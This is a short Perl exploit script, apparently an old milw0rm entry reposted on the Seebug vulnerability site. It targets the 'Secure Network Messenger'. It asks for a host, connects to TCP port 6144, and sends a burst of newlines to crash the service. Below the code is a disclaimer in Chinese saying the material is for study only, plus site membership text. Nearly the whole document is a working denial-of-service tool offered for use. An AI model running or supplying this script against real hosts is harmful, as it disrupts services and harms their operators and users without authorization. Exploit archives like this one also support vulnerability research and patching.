#!/usr/bin/perl use IO::Socket; print ("\nSecure Network Messenger Crasher by ClearScreen\n"); print ("\nEnter host to crash: "); $h = <STDIN>; chomp $h; $socks = IO::Socket::INET->new( Proto => "tcp", PeerPort => "6144", PeerAddr => "$h" ) or die "\nNo response from host."; sleep 1; print "\nSuccesfully connected to $h!\n"; for ($count=1; $count<15; $count++) { print $socks "\n"; select(undef, undef, undef, 0.1); } print "\nMessenger crashed."; close $socks; # milw0rm.com [2004-11-15]
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京公网安备 11010502034610号
暂无评论